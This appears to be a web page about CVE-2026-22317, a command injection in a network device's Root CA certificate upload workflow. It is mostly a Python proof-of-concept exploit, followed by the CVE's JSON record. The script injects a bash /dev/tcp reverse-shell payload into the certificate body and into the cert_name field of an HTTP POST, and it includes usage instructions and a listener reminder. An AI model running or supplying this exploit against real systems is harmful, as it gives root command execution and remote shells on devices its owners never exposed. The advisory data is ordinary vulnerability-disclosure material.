CVE-2026-22317

import requests import sys # CVE-2026-22317 PoC - Root CA Certificate Transfer Command Injection # Target: Network device with vulnerable Root CA certificate transfer workflow def exploit(target_url, attacker_ip, attacker_port): """ Exploit CVE-2026-22317 by injecting command via certificate transfer workflow """ # Construct malicious payload for reverse shell payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" # Target endpoint for Root CA certificate transfer endpoint = f"{target_url.rstrip('/')}/api/v1/certificates/root-ca/upload" # Craft malicious certificate request files = { 'certificate': ('cert.pem', f'-----BEGIN CERTIFICATE-----\n{payload}\n-----END CERTIFICATE-----', 'application/x-pem-file') } data = { 'cert_name': f'test{payload}', 'action': 'transfer' } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2026-22317-PoC)', 'Authorization': 'Bearer <HIGH_PRIVILEGE_TOKEN>' } try: print(f"[*] Sending exploit payload to {endpoint}") response = requests.post(endpoint, files=files, data=data, headers=headers, timeout=10, verify=False) print(f"[*] Response Status: {response.status_code}") print(f"[*] Check your listener on {attacker_ip}:{attacker_port}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_ip> <attacker_port>") print(f"Example: python {sys.argv[0]} https://192.168.1.1 10.0.0.1 4444") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2026-22317", "sourceIdentifier": "[email protected]", "published": "2026-03-18T08:16:27.580", "lastModified": "2026-03-18T14:52:44.227", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability in the device’s Root CA certificate transfer workflow allows a high-privileged attacker to send crafted HTTP POST requests that result in arbitrary command execution on the underlying Linux OS with root privileges."}, {"lang": "es", "value": "Una vulnerabilidad de inyección de comandos en el flujo de trabajo de transferencia de certificados de CA raíz del dispositivo permite a un atacante con altos privilegios enviar solicitudes HTTP POST manipuladas que resultan en la ejecución arbitraria de comandos en el sistema operativo Linux subyacente con privilegios de root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-104", "source": "[email protected]"}]}}